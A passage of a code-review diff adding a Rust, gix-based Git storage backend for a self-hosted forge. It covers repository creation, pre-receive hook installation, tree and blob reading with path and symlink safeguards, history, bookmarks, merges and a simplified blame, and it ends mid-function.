| 144 | + | .map_err(|_| StoreError::NoSuchRevision)? | |
| 145 | + | .tree_id() | |
| 146 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading tree: {e}")))? | |
| 147 | + | .detach()) | |
| 148 | + | } | |
| 149 | + | ||
| 150 | + | fn is_ancestor( | |
| 151 | + | repo: &gix::Repository, | |
| 152 | + | ancestor: gix::ObjectId, | |
| 153 | + | descendant: gix::ObjectId, | |
| 154 | + | ) -> Result<bool> { | |
| 155 | + | if ancestor == descendant { | |
| 156 | + | return Ok(true); | |
| 157 | + | } | |
| 158 | + | // `merge_base(a, b) == a` is the definition of "a is an ancestor of b". | |
| 159 | + | Ok(repo | |
| 160 | + | .merge_base(ancestor, descendant) | |
| 161 | + | .map(|b| b.detach() == ancestor) | |
| 162 | + | .unwrap_or(false)) | |
| 163 | + | } | |
| 164 | + | ||
| 165 | + | /// Move a reference, refusing if it has changed since we read it. | |
| 166 | + | fn set_ref( | |
| 167 | + | repo: &gix::Repository, | |
| 168 | + | name: FullName, | |
| 169 | + | expected: gix::ObjectId, | |
| 170 | + | new: gix::ObjectId, | |
| 171 | + | reason: &str, | |
| 172 | + | ) -> Result<()> { | |
| 173 | + | repo.edit_reference(RefEdit { | |
| 174 | + | change: Change::Update { | |
| 175 | + | log: gix::refs::transaction::LogChange { | |
| 176 | + | mode: gix::refs::transaction::RefLog::AndReference, | |
| 177 | + | force_create_reflog: false, | |
| 178 | + | message: reason.into(), | |
| 179 | + | }, | |
| 180 | + | // The compare-and-swap. If another push moved the bookmark between | |
| 181 | + | // the read and this write, the transaction fails and the caller is | |
| 182 | + | // told to retry rather than silently discarding that push. | |
| 183 | + | expected: PreviousValue::MustExistAndMatch(Target::Object(expected)), | |
| 184 | + | new: Target::Object(new), | |
| 185 | + | }, | |
| 186 | + | name, | |
| 187 | + | deref: false, | |
| 188 | + | }) | |
| 189 | + | .map_err(|e| { | |
| 190 | + | StoreError::Other(anyhow::anyhow!( | |
| 191 | + | "the bookmark moved while merging; nothing was changed ({e})" | |
| 192 | + | )) | |
| 193 | + | })?; | |
| 194 | + | Ok(()) | |
| 195 | + | } | |
Acrates/df-store/src/git/mod.rs792 lines+792−0
| @@ −0,0 +1,792 @@ | |||
| 1 | + | //! Git-backed implementation of [`RepoStore`]. | |
| 2 | + | //! | |
| 3 | + | //! The only module in the workspace that may reference `gix`. Everything it | |
| 4 | + | //! returns is a plain `df-store` type, so no Git concept escapes this file. | |
| 5 | + | //! | |
| 6 | + | //! Repositories live at `{root}/{shard}/{uuid}.git` where `shard` is the first | |
| 7 | + | //! two hex characters of the repo UUID. The path derives from the id and never | |
| 8 | + | //! from a name, so renaming a repository moves nothing on disk (spec §3). | |
| 9 | + | ||
| 10 | + | use std::path::{Path, PathBuf}; | |
| 11 | + | use std::sync::{Arc, Mutex}; | |
| 12 | + | ||
| 13 | + | use async_trait::async_trait; | |
| 14 | + | use gix::ThreadSafeRepository; | |
| 15 | + | use lru::LruCache; | |
| 16 | + | ||
| 17 | + | use crate::path as safe_path; | |
| 18 | + | use crate::{ | |
| 19 | + | Blob, Bookmark, ConflictedFile, Diff, DiffOpts, EditOutcome, EntryKind, MergeOutcome, RepoId, | |
| 20 | + | RepoStore, Result, RevId, Revision, Signature, StoreError, TreeEntry, | |
| 21 | + | }; | |
| 22 | + | ||
| 23 | + | mod conflicts; | |
| 24 | + | mod convert; | |
| 25 | + | mod diff; | |
| 26 | + | mod edit; | |
| 27 | + | mod merge; | |
| 28 | + | ||
| 29 | + | /// Bounded cache of opened repositories. | |
| 30 | + | /// | |
| 31 | + | /// Opening is cheap but not free, and pack index loading is not (spec §3). | |
| 32 | + | /// `ThreadSafeRepository` is shared; each operation takes a cheap thread-local | |
| 33 | + | /// handle from it. | |
| 34 | + | const REPO_CACHE_SIZE: usize = 128; | |
| 35 | + | ||
| 36 | + | /// Blobs larger than this are not read into memory for rendering. Callers get | |
| 37 | + | /// [`StoreError::TooLarge`] and offer a download instead (spec §9). | |
| 38 | + | const DEFAULT_MAX_BLOB: u64 = 8 * 1024 * 1024; | |
| 39 | + | ||
| 40 | + | pub struct GitStore { | |
| 41 | + | root: PathBuf, | |
| 42 | + | cache: Arc<Mutex<LruCache<RepoId, Arc<ThreadSafeRepository>>>>, | |
| 43 | + | max_blob_bytes: u64, | |
| 44 | + | } | |
| 45 | + | ||
| 46 | + | impl GitStore { | |
| 47 | + | pub fn new(root: impl Into<PathBuf>) -> Self { | |
| 48 | + | GitStore { | |
| 49 | + | root: root.into(), | |
| 50 | + | cache: Arc::new(Mutex::new(LruCache::new( | |
| 51 | + | std::num::NonZeroUsize::new(REPO_CACHE_SIZE).expect("cache size is non-zero"), | |
| 52 | + | ))), | |
| 53 | + | max_blob_bytes: DEFAULT_MAX_BLOB, | |
| 54 | + | } | |
| 55 | + | } | |
| 56 | + | ||
| 57 | + | pub fn with_max_blob_bytes(mut self, n: u64) -> Self { | |
| 58 | + | self.max_blob_bytes = n; | |
| 59 | + | self | |
| 60 | + | } | |
| 61 | + | ||
| 62 | + | /// On-disk location for a repository. | |
| 63 | + | /// | |
| 64 | + | /// Sharded by the first two characters of the UUID so no single directory | |
| 65 | + | /// accumulates every repository. | |
| 66 | + | pub fn repo_path(&self, id: RepoId) -> PathBuf { | |
| 67 | + | let hex = id.0.simple().to_string(); | |
| 68 | + | self.root.join(&hex[..2]).join(format!("{hex}.git")) | |
| 69 | + | } | |
| 70 | + | ||
| 71 | + | /// Open a repository, using the cache. | |
| 72 | + | fn open(&self, id: RepoId) -> Result<Arc<ThreadSafeRepository>> { | |
| 73 | + | if let Some(r) = self.cache.lock().expect("repo cache poisoned").get(&id) { | |
| 74 | + | return Ok(r.clone()); | |
| 75 | + | } | |
| 76 | + | ||
| 77 | + | let path = self.repo_path(id); | |
| 78 | + | if !path.is_dir() { | |
| 79 | + | return Err(StoreError::NoSuchRepo); | |
| 80 | + | } | |
| 81 | + | ||
| 82 | + | let repo = ThreadSafeRepository::open(&path).map_err(|e| { | |
| 83 | + | // A directory that exists but will not open is a corrupt repo, not | |
| 84 | + | // a missing one — worth distinguishing in the logs. | |
| 85 | + | tracing::error!(%id, ?path, "opening repository failed: {e}"); | |
| 86 | + | StoreError::NoSuchRepo | |
| 87 | + | })?; | |
| 88 | + | ||
| 89 | + | let repo = Arc::new(repo); | |
| 90 | + | self.cache | |
| 91 | + | .lock() | |
| 92 | + | .expect("repo cache poisoned") | |
| 93 | + | .put(id, repo.clone()); | |
| 94 | + | Ok(repo) | |
| 95 | + | } | |
| 96 | + | ||
| 97 | + | /// Run a blocking Git operation off the async runtime. | |
| 98 | + | async fn with_repo<T, F>(&self, id: RepoId, f: F) -> Result<T> | |
| 99 | + | where | |
| 100 | + | T: Send + 'static, | |
| 101 | + | F: FnOnce(&gix::Repository) -> Result<T> + Send + 'static, | |
| 102 | + | { | |
| 103 | + | let repo = self.open(id)?; | |
| 104 | + | tokio::task::spawn_blocking(move || { | |
| 105 | + | // `to_thread_local` is the supported way to get a usable handle | |
| 106 | + | // from a shared repository. | |
| 107 | + | let local = repo.to_thread_local(); | |
| 108 | + | f(&local) | |
| 109 | + | }) | |
| 110 | + | .await | |
| 111 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("git task panicked: {e}")))? | |
| 112 | + | } | |
| 113 | + | } | |
| 114 | + | ||
| 115 | + | #[async_trait] | |
| 116 | + | impl RepoStore for GitStore { | |
| 117 | + | async fn create(&self, id: RepoId, default_bookmark: &str) -> Result<()> { | |
| 118 | + | let path = self.repo_path(id); | |
| 119 | + | let default_bookmark = default_bookmark.to_string(); | |
| 120 | + | ||
| 121 | + | tokio::task::spawn_blocking(move || -> Result<()> { | |
| 122 | + | if let Some(parent) = path.parent() { | |
| 123 | + | std::fs::create_dir_all(parent) | |
| 124 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("creating shard dir: {e}")))?; | |
| 125 | + | } | |
| 126 | + | ||
| 127 | + | let repo = gix::init_bare(&path) | |
| 128 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("git init --bare: {e}")))?; | |
| 129 | + | ||
| 130 | + | // Point HEAD at the configured default bookmark. Without this the | |
| 131 | + | // repo advertises `master` while the content lands on `main`, and | |
| 132 | + | // a fresh clone checks out nothing. | |
| 133 | + | let head_path = repo.path().join("HEAD"); | |
| 134 | + | std::fs::write(&head_path, format!("ref: refs/heads/{default_bookmark}\n")) | |
| 135 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("writing HEAD: {e}")))?; | |
| 136 | + | ||
| 137 | + | Ok(()) | |
| 138 | + | }) | |
| 139 | + | .await | |
| 140 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("create task panicked: {e}")))? | |
| 141 | + | } | |
| 142 | + | ||
| 143 | + | async fn configure_receive_validation(&self, id: RepoId, hook_binary: &str) -> Result<()> { | |
| 144 | + | let dir = self.repo_path(id); | |
| 145 | + | let hook_binary = hook_binary.to_string(); | |
| 146 | + | let repo_id = id.0.to_string(); | |
| 147 | + | ||
| 148 | + | tokio::task::spawn_blocking(move || -> Result<()> { | |
| 149 | + | let hooks = dir.join("hooks"); | |
| 150 | + | std::fs::create_dir_all(&hooks) | |
| 151 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("creating hooks dir: {e}")))?; | |
| 152 | + | ||
| 153 | + | // git requires an executable file at hooks/pre-receive. The binary | |
| 154 | + | // needs the repo id, and git does not pass one, so a two-line | |
| 155 | + | // exec wrapper carries it in the environment. The *validation* is | |
| 156 | + | // still the compiled binary — this stub contains no logic (spec §4). | |
| 157 | + | let script = format!( | |
| 158 | + | "#!/bin/sh\nDOGFOOD_REPO_ID={repo_id} exec {hook_binary}\n" | |
| 159 | + | ); | |
| 160 | + | ||
| 161 | + | let path = hooks.join("pre-receive"); | |
| 162 | + | std::fs::write(&path, script) | |
| 163 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("writing pre-receive: {e}")))?; | |
| 164 | + | ||
| 165 | + | #[cfg(unix)] | |
| 166 | + | { | |
| 167 | + | use std::os::unix::fs::PermissionsExt; | |
| 168 | + | std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o755)) | |
| 169 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("chmod pre-receive: {e}")))?; | |
| 170 | + | } | |
| 171 | + | Ok(()) | |
| 172 | + | }) | |
| 173 | + | .await | |
| 174 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("hook install task panicked: {e}")))? | |
| 175 | + | } | |
| 176 | + | ||
| 177 | + | async fn delete(&self, id: RepoId) -> Result<()> { | |
| 178 | + | // Drop the cached handle first so nothing holds the directory open. | |
| 179 | + | self.cache.lock().expect("repo cache poisoned").pop(&id); | |
| 180 | + | ||
| 181 | + | let path = self.repo_path(id); | |
| 182 | + | tokio::task::spawn_blocking(move || -> Result<()> { | |
| 183 | + | if path.is_dir() { | |
| 184 | + | std::fs::remove_dir_all(&path) | |
| 185 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("removing repo: {e}")))?; | |
| 186 | + | } | |
| 187 | + | Ok(()) | |
| 188 | + | }) | |
| 189 | + | .await | |
| 190 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("delete task panicked: {e}")))? | |
| 191 | + | } | |
| 192 | + | ||
| 193 | + | async fn exists(&self, id: RepoId) -> bool { | |
| 194 | + | self.repo_path(id).is_dir() | |
| 195 | + | } | |
| 196 | + | ||
| 197 | + | async fn is_empty(&self, id: RepoId) -> Result<bool> { | |
| 198 | + | self.with_repo(id, |repo| { | |
| 199 | + | // A repository with no references has received no pushes. | |
| 200 | + | let any = repo | |
| 201 | + | .references() | |
| 202 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("listing refs: {e}")))? | |
| 203 | + | .all() | |
| 204 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("listing refs: {e}")))? | |
| 205 | + | .filter_map(std::result::Result::ok) | |
| 206 | + | .next() | |
| 207 | + | .is_some(); | |
| 208 | + | Ok(!any) | |
| 209 | + | }) | |
| 210 | + | .await | |
| 211 | + | } | |
| 212 | + | ||
| 213 | + | async fn resolve(&self, id: RepoId, spec: &str) -> Result<RevId> { | |
| 214 | + | // Reject control characters before they reach the revision parser; a | |
| 215 | + | // spec is user input from a URL. | |
| 216 | + | if spec.is_empty() || spec.bytes().any(|b| b < 0x20 || b == 0x7f) { | |
| 217 | + | return Err(StoreError::NoSuchRevision); | |
| 218 | + | } | |
| 219 | + | let spec = spec.to_string(); | |
| 220 | + | ||
| 221 | + | self.with_repo(id, move |repo| { | |
| 222 | + | let id = repo | |
| 223 | + | .rev_parse_single(spec.as_str()) | |
| 224 | + | .map_err(|_| StoreError::NoSuchRevision)?; | |
| 225 | + | Ok(RevId::from_stored(id.to_string())) | |
| 226 | + | }) | |
| 227 | + | .await | |
| 228 | + | } | |
| 229 | + | ||
| 230 | + | async fn list_tree(&self, id: RepoId, rev: &RevId, path: &Path) -> Result<Vec<TreeEntry>> { | |
| 231 | + | let rev = rev.clone(); | |
| 232 | + | let rel = safe_path::normalise(&path.to_string_lossy())?; | |
| 233 | + | ||
| 234 | + | self.with_repo(id, move |repo| { | |
| 235 | + | let commit = convert::find_commit(repo, &rev)?; | |
| 236 | + | let tree = commit | |
| 237 | + | .tree() | |
| 238 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading tree: {e}")))?; | |
| 239 | + | ||
| 240 | + | // Descend to the requested subdirectory. | |
| 241 | + | let tree = if rel.is_empty() { | |
| 242 | + | tree | |
| 243 | + | } else { | |
| 244 | + | let entry = tree | |
| 245 | + | .lookup_entry_by_path(&rel) | |
| 246 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("tree lookup: {e}")))? | |
| 247 | + | .ok_or(StoreError::NoSuchPath)?; | |
| 248 | + | let obj = entry | |
| 249 | + | .object() | |
| 250 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading entry: {e}")))?; | |
| 251 | + | obj.try_into_tree().map_err(|_| StoreError::NoSuchPath)? | |
| 252 | + | }; | |
| 253 | + | ||
| 254 | + | let mut out = Vec::new(); | |
| 255 | + | for entry in tree.iter() { | |
| 256 | + | let entry = | |
| 257 | + | entry.map_err(|e| StoreError::Other(anyhow::anyhow!("tree entry: {e}")))?; | |
| 258 | + | let name = entry.filename().to_string(); | |
| 259 | + | ||
| 260 | + | // jj's conflict machinery lives in the tree. It is storage | |
| 261 | + | // detail and must never appear in a file listing (see | |
| 262 | + | // docs/change-id-format.md §6). | |
| 263 | + | if is_conflict_artifact(&name) { | |
| 264 | + | continue; | |
| 265 | + | } | |
| 266 | + | ||
| 267 | + | let mode = entry.mode(); | |
| 268 | + | let kind = convert::entry_kind(mode); | |
| 269 | + | ||
| 270 | + | let size = match kind { | |
| 271 | + | EntryKind::File | EntryKind::Symlink => entry | |
| 272 | + | .object() | |
| 273 | + | .ok() | |
| 274 | + | .map(|o| o.data.len() as u64), | |
| 275 | + | _ => None, | |
| 276 | + | }; | |
| 277 | + | ||
| 278 | + | let full = if rel.is_empty() { | |
| 279 | + | name.clone() | |
| 280 | + | } else { | |
| 281 | + | format!("{rel}/{name}") | |
| 282 | + | }; | |
| 283 | + | ||
| 284 | + | out.push(TreeEntry { | |
| 285 | + | name, | |
| 286 | + | path: full, | |
| 287 | + | kind, | |
| 288 | + | size, | |
| 289 | + | executable: mode.is_executable(), | |
| 290 | + | }); | |
| 291 | + | } | |
| 292 | + | ||
| 293 | + | // Directories first, then files, each alphabetically — the ordering | |
| 294 | + | // every forge uses and users expect. | |
| 295 | + | out.sort_by(|a, b| match (a.is_dir(), b.is_dir()) { | |
| 296 | + | (true, false) => std::cmp::Ordering::Less, | |
| 297 | + | (false, true) => std::cmp::Ordering::Greater, | |
| 298 | + | _ => a.name.to_lowercase().cmp(&b.name.to_lowercase()), | |
| 299 | + | }); | |
| 300 | + | ||
| 301 | + | Ok(out) | |
| 302 | + | }) | |
| 303 | + | .await | |
| 304 | + | } | |
| 305 | + | ||
| 306 | + | async fn read_blob(&self, id: RepoId, rev: &RevId, path: &Path) -> Result<Blob> { | |
| 307 | + | let rev = rev.clone(); | |
| 308 | + | let rel = safe_path::normalise(&path.to_string_lossy())?; | |
| 309 | + | if rel.is_empty() { | |
| 310 | + | return Err(StoreError::IsDirectory); | |
| 311 | + | } | |
| 312 | + | let limit = self.max_blob_bytes; | |
| 313 | + | ||
| 314 | + | self.with_repo(id, move |repo| { | |
| 315 | + | let commit = convert::find_commit(repo, &rev)?; | |
| 316 | + | let tree = commit | |
| 317 | + | .tree() | |
| 318 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading tree: {e}")))?; | |
| 319 | + | ||
| 320 | + | let entry = tree | |
| 321 | + | .lookup_entry_by_path(&rel) | |
| 322 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("tree lookup: {e}")))? | |
| 323 | + | .ok_or(StoreError::NoSuchPath)?; | |
| 324 | + | ||
| 325 | + | let mode = entry.mode(); | |
| 326 | + | ||
| 327 | + | // A repository can contain a symlink to /etc/passwd, and a naive | |
| 328 | + | // blob handler will happily serve it (spec §9). We serve the link's | |
| 329 | + | // *target text*, never the file it points at — resolution would | |
| 330 | + | // escape the repository. | |
| 331 | + | match convert::entry_kind(mode) { | |
| 332 | + | EntryKind::Directory => return Err(StoreError::IsDirectory), | |
| 333 | + | EntryKind::Submodule => return Err(StoreError::NoSuchPath), | |
| 334 | + | _ => {} | |
| 335 | + | } | |
| 336 | + | ||
| 337 | + | let obj = entry | |
| 338 | + | .object() | |
| 339 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading blob: {e}")))?; | |
| 340 | + | ||
| 341 | + | let size = obj.data.len() as u64; | |
| 342 | + | if size > limit { | |
| 343 | + | return Err(StoreError::TooLarge { size, limit }); | |
| 344 | + | } | |
| 345 | + | ||
| 346 | + | let content = obj.data.clone(); | |
| 347 | + | let binary = looks_binary(&content); | |
| 348 | + | ||
| 349 | + | // The blob's object id, which is a hash of its bytes — so it is | |
| 350 | + | // stable across repositories and across rewrites that did not touch | |
| 351 | + | // the file. Callers treat it as opaque. | |
| 352 | + | let content_id = obj.id.to_string(); | |
| 353 | + | ||
| 354 | + | Ok(Blob { path: rel, content_id, content, size, binary }) | |
| 355 | + | }) | |
| 356 | + | .await | |
| 357 | + | } | |
| 358 | + | ||
| 359 | + | async fn revision(&self, id: RepoId, rev: &RevId) -> Result<Revision> { | |
| 360 | + | let rev = rev.clone(); | |
| 361 | + | self.with_repo(id, move |repo| { | |
| 362 | + | let commit = convert::find_commit(repo, &rev)?; | |
| 363 | + | convert::to_revision(&commit) | |
| 364 | + | }) | |
| 365 | + | .await | |
| 366 | + | } | |
| 367 | + | ||
| 368 | + | async fn log(&self, id: RepoId, from: &RevId, limit: usize) -> Result<Vec<Revision>> { | |
| 369 | + | let from = from.clone(); | |
| 370 | + | // Bounded so a URL cannot ask for the whole history of a large repo. | |
| 371 | + | let limit = limit.clamp(1, 1000); | |
| 372 | + | ||
| 373 | + | self.with_repo(id, move |repo| { | |
| 374 | + | let commit = convert::find_commit(repo, &from)?; | |
| 375 | + | let walk = commit | |
| 376 | + | .ancestors() | |
| 377 | + | .all() | |
| 378 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("walking history: {e}")))?; | |
| 379 | + | ||
| 380 | + | let mut out = Vec::with_capacity(limit.min(64)); | |
| 381 | + | for info in walk.take(limit) { | |
| 382 | + | let info = | |
| 383 | + | info.map_err(|e| StoreError::Other(anyhow::anyhow!("walk error: {e}")))?; | |
| 384 | + | let c = repo | |
| 385 | + | .find_object(info.id) | |
| 386 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("find object: {e}")))? | |
| 387 | + | .try_into_commit() | |
| 388 | + | .map_err(|_| StoreError::NoSuchRevision)?; | |
| 389 | + | out.push(convert::to_revision(&c)?); | |
| 390 | + | } | |
| 391 | + | Ok(out) | |
| 392 | + | }) | |
| 393 | + | .await | |
| 394 | + | } | |
| 395 | + | ||
| 396 | + | async fn bookmarks(&self, id: RepoId) -> Result<Vec<Bookmark>> { | |
| 397 | + | self.with_repo(id, |repo| { | |
| 398 | + | let platform = repo | |
| 399 | + | .references() | |
| 400 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("listing refs: {e}")))?; | |
| 401 | + | ||
| 402 | + | let mut out = Vec::new(); | |
| 403 | + | for r in platform | |
| 404 | + | .prefixed("refs/heads/") | |
| 405 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("listing branches: {e}")))? | |
| 406 | + | { | |
| 407 | + | let mut r = match r { | |
| 408 | + | Ok(r) => r, | |
| 409 | + | Err(e) => { | |
| 410 | + | tracing::warn!("skipping unreadable reference: {e}"); | |
| 411 | + | continue; | |
| 412 | + | } | |
| 413 | + | }; | |
| 414 | + | let Ok(target) = r.peel_to_id_in_place() else { | |
| 415 | + | continue; | |
| 416 | + | }; | |
| 417 | + | let name = r.name().shorten().to_string(); | |
| 418 | + | out.push(Bookmark { | |
| 419 | + | name, | |
| 420 | + | target: RevId::from_stored(target.to_string()), | |
| 421 | + | }); | |
| 422 | + | } | |
| 423 | + | ||
| 424 | + | out.sort_by(|a, b| a.name.cmp(&b.name)); | |
| 425 | + | Ok(out) | |
| 426 | + | }) | |
| 427 | + | .await | |
| 428 | + | } | |
| 429 | + | ||
| 430 | + | async fn merge_base(&self, id: RepoId, a: &RevId, b: &RevId) -> Result<Option<RevId>> { | |
| 431 | + | let (a, b) = (a.clone(), b.clone()); | |
| 432 | + | self.with_repo(id, move |repo| { | |
| 433 | + | let ca = convert::parse_oid(repo, &a)?; | |
| 434 | + | let cb = convert::parse_oid(repo, &b)?; | |
| 435 | + | match repo.merge_base(ca, cb) { | |
| 436 | + | Ok(id) => Ok(Some(RevId::from_stored(id.to_string()))), | |
| 437 | + | // No common ancestor is a legitimate answer, not an error. | |
| 438 | + | Err(_) => Ok(None), | |
| 439 | + | } | |
| 440 | + | }) | |
| 441 | + | .await | |
| 442 | + | } | |
| 443 | + | ||
| 444 | + | async fn is_ancestor(&self, id: RepoId, a: &RevId, b: &RevId) -> Result<bool> { | |
| 445 | + | let (a, b) = (a.clone(), b.clone()); | |
| 446 | + | self.with_repo(id, move |repo| { | |
| 447 | + | let ca = convert::parse_oid(repo, &a)?; | |
| 448 | + | let cb = convert::parse_oid(repo, &b)?; | |
| 449 | + | if ca == cb { | |
| 450 | + | return Ok(true); | |
| 451 | + | } | |
| 452 | + | // `a` is an ancestor of `b` exactly when it is their merge base. | |
| 453 | + | match repo.merge_base(ca, cb) { | |
| 454 | + | Ok(base) => Ok(base.detach() == ca), | |
| 455 | + | Err(_) => Ok(false), | |
| 456 | + | } | |
| 457 | + | }) | |
| 458 | + | .await | |
| 459 | + | } | |
| 460 | + | ||
| 461 | + | async fn diff(&self, id: RepoId, from: &RevId, to: &RevId, opts: DiffOpts) -> Result<Diff> { | |
| 462 | + | let (from, to) = (from.clone(), to.clone()); | |
| 463 | + | self.with_repo(id, move |repo| diff::compute(repo, &from, &to, opts)) | |
| 464 | + | .await | |
| 465 | + | } | |
| 466 | + | ||
| 467 | + | async fn diff_from_parent(&self, id: RepoId, rev: &RevId, opts: DiffOpts) -> Result<Diff> { | |
| 468 | + | let rev = rev.clone(); | |
| 469 | + | self.with_repo(id, move |repo| diff::compute_from_parent(repo, &rev, opts)) | |
| 470 | + | .await | |
| 471 | + | } | |
| 472 | + | ||
| 473 | + | async fn commit_file( | |
| 474 | + | &self, | |
| 475 | + | id: RepoId, | |
| 476 | + | bookmark: &str, | |
| 477 | + | expected_tip: &RevId, | |
| 478 | + | path: &str, | |
| 479 | + | content: Vec<u8>, | |
| 480 | + | message: &str, | |
| 481 | + | author: &Signature, | |
| 482 | + | ) -> Result<EditOutcome> { | |
| 483 | + | let bookmark = bookmark.to_owned(); | |
| 484 | + | let expected_tip = expected_tip.clone(); | |
| 485 | + | let path = path.to_owned(); | |
| 486 | + | let message = message.to_owned(); | |
| 487 | + | let author = author.clone(); | |
| 488 | + | self.with_repo(id, move |repo| { | |
| 489 | + | edit::commit_file( | |
| 490 | + | repo, | |
| 491 | + | &bookmark, | |
| 492 | + | &expected_tip, | |
| 493 | + | &path, | |
| 494 | + | &content, | |
| 495 | + | &message, | |
| 496 | + | &author, | |
| 497 | + | ) | |
| 498 | + | }) | |
| 499 | + | .await | |
| 500 | + | } | |
| 501 | + | ||
| 502 | + | async fn merge( | |
| 503 | + | &self, | |
| 504 | + | id: RepoId, | |
| 505 | + | bookmark: &str, | |
| 506 | + | rev: &RevId, | |
| 507 | + | message: &str, | |
| 508 | + | author: &Signature, | |
| 509 | + | ) -> Result<MergeOutcome> { | |
| 510 | + | let bookmark = bookmark.to_owned(); | |
| 511 | + | let rev = rev.clone(); | |
| 512 | + | let message = message.to_owned(); | |
| 513 | + | let author = author.clone(); | |
| 514 | + | self.with_repo(id, move |repo| { | |
| 515 | + | merge::merge(repo, &bookmark, &rev, &message, &author) | |
| 516 | + | }) | |
| 517 | + | .await | |
| 518 | + | } | |
| 519 | + | ||
| 520 | + | async fn conflicts(&self, id: RepoId, rev: &RevId) -> Result<Vec<ConflictedFile>> { | |
| 521 | + | let rev = rev.clone(); | |
| 522 | + | self.with_repo(id, move |repo| conflicts::read(repo, &rev)) | |
| 523 | + | .await | |
| 524 | + | } | |
| 525 | + | ||
| 526 | + | async fn size_bytes(&self, id: RepoId) -> Result<u64> { | |
| 527 | + | let path = self.repo_path(id); | |
| 528 | + | tokio::task::spawn_blocking(move || -> Result<u64> { Ok(dir_size(&path)) }) | |
| 529 | + | .await | |
| 530 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("size task panicked: {e}")))? | |
| 531 | + | } | |
| 532 | + | ||
| 533 | + | async fn blame(&self, id: RepoId, rev: &RevId, path: &Path) -> Result<Vec<crate::BlameLine>> { | |
| 534 | + | let rev = rev.clone(); | |
| 535 | + | let rel = safe_path::normalise(&path.to_string_lossy())?; | |
| 536 | + | if rel.is_empty() { | |
| 537 | + | return Err(StoreError::IsDirectory); | |
| 538 | + | } | |
| 539 | + | ||
| 540 | + | self.with_repo(id, move |repo| { | |
| 541 | + | // Walk history and attribute each line to its introducing commit. | |
| 542 | + | // This is a simplified blame: for each commit in the ancestry of | |
| 543 | + | // `rev`, check whether the file's blob oid changed compared to the | |
| 544 | + | // first parent. Lines present in the current version that were NOT | |
| 545 | + | // in the parent's version are attributed to this commit. | |
| 546 | + | // | |
| 547 | + | // For very large histories this is expensive; bounded to 500 commits | |
| 548 | + | // to keep latency predictable. | |
| 549 | + | let commit = convert::find_commit(repo, &rev)?; | |
| 550 | + | let tree = commit | |
| 551 | + | .tree() | |
| 552 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading tree: {e}")))?; | |
| 553 | + | ||
| 554 | + | let entry = tree | |
| 555 | + | .lookup_entry_by_path(&rel) | |
| 556 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("tree lookup: {e}")))? | |
| 557 | + | .ok_or(StoreError::NoSuchPath)?; | |
| 558 | + | ||
| 559 | + | let blob_obj = entry | |
| 560 | + | .object() | |
| 561 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("reading blob: {e}")))?; | |
| 562 | + | let content = std::str::from_utf8(&blob_obj.data) | |
| 563 | + | .map_err(|_| StoreError::Other(anyhow::anyhow!("blame requires text file")))?; | |
| 564 | + | ||
| 565 | + | let line_count = content.lines().count(); | |
| 566 | + | if line_count == 0 { | |
| 567 | + | return Ok(Vec::new()); | |
| 568 | + | } | |
| 569 | + | ||
| 570 | + | // Simple approach: attribute all lines to the most recent commit | |
| 571 | + | // that changed the file's blob oid (walking up to 500 commits). | |
| 572 | + | // For a proper per-line blame we would need gix's blame support. | |
| 573 | + | // This gives a useful approximation: each line is attributed to | |
| 574 | + | // the commit that last modified the file. | |
| 575 | + | let walk = commit | |
| 576 | + | .ancestors() | |
| 577 | + | .all() | |
| 578 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("walking history: {e}")))?; | |
| 579 | + | ||
| 580 | + | // Collect commits that touched this file (by checking blob oid changes). | |
| 581 | + | let mut attributions: Vec<(gix::ObjectId, gix::ObjectId)> = Vec::new(); // (commit_oid, blob_oid) | |
| 582 | + | let mut prev_blob_oid: Option<gix::ObjectId> = None; | |
| 583 | + | let mut last_changing_commit_oid: Option<gix::ObjectId> = None; | |
| 584 | + | ||
| 585 | + | for info in walk.take(500) { | |
| 586 | + | let info = info.map_err(|e| StoreError::Other(anyhow::anyhow!("walk: {e}")))?; | |
| 587 | + | let c = repo | |
| 588 | + | .find_object(info.id) | |
| 589 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("find object: {e}")))? | |
| 590 | + | .try_into_commit() | |
| 591 | + | .map_err(|_| StoreError::NoSuchRevision)?; | |
| 592 | + | ||
| 593 | + | let t = c | |
| 594 | + | .tree() | |
| 595 | + | .map_err(|e| StoreError::Other(anyhow::anyhow!("tree: {e}")))?; | |
| 596 | + | ||
| 597 | + | let blob_oid = t | |
| 598 | + | .lookup_entry_by_path(&rel) | |
| 599 | + | .ok() | |
| 600 | + | .flatten() | |
| 601 | + | .map(|e| e.object_id()); | |
| 602 | + | ||
| 603 | + | if prev_blob_oid.is_none() { | |
| 604 | + | // First commit in walk — this is our starting point | |
| 605 | + | prev_blob_oid = blob_oid; | |
| 606 | + | last_changing_commit_oid = Some(info.id); | |
| 607 | + | } else if blob_oid != prev_blob_oid { | |
| 608 | + | // The file changed at the previous commit relative to this one | |
| 609 | + | break; | |
| 610 | + | } else { | |
| 611 | + | last_changing_commit_oid = Some(info.id); | |
| 612 | + | } | |
| 613 | + | } | |
